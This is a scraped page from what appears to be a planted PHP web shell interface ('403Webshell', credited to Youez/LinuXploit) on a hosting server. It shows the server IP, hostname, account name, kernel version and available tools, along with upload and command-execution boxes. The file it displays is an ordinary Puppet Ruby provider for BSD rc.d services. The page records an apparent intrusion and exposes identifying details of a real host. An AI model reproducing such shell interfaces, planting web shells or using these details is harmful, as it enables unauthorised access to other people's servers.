403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.139.81.254
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/service/bsd.rb
Puppet::Type.type(:service).provide :bsd, :parent => :init do
  desc <<-EOT
    Generic BSD form of `init`-style service management with `rc.d`.

    Uses `rc.conf.d` for service enabling and disabling.
  EOT

  confine :operatingsystem => [:freebsd, :dragonfly]

  def rcconf_dir
    '/etc/rc.conf.d'
  end

  def self.defpath
    superclass.defpath
  end

  # remove service file from rc.conf.d to disable it
  def disable
    rcfile = File.join(rcconf_dir, @resource[:name])
    File.delete(rcfile) if Puppet::FileSystem.exist?(rcfile)
  end

  # if the service file exists in rc.conf.d then it's already enabled
  def enabled?
    rcfile = File.join(rcconf_dir, @resource[:name])
    return :true if Puppet::FileSystem.exist?(rcfile)

    :false
  end

  # enable service by creating a service file under rc.conf.d with the
  # proper contents
  def enable
    Dir.mkdir(rcconf_dir) if not Puppet::FileSystem.exist?(rcconf_dir)
    rcfile = File.join(rcconf_dir, @resource[:name])
    File.open(rcfile, File::WRONLY | File::APPEND | File::CREAT, 0644) { |f|
      f << "%s_enable=\"YES\"\n" % @resource[:name]
    }
  end

  # Override stop/start commands to use one<cmd>'s and the avoid race condition
  # where provider tries to stop/start the service before it is enabled
  def startcmd
    [self.initscript, :onestart]
  end

  def stopcmd
    [self.initscript, :onestop]
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit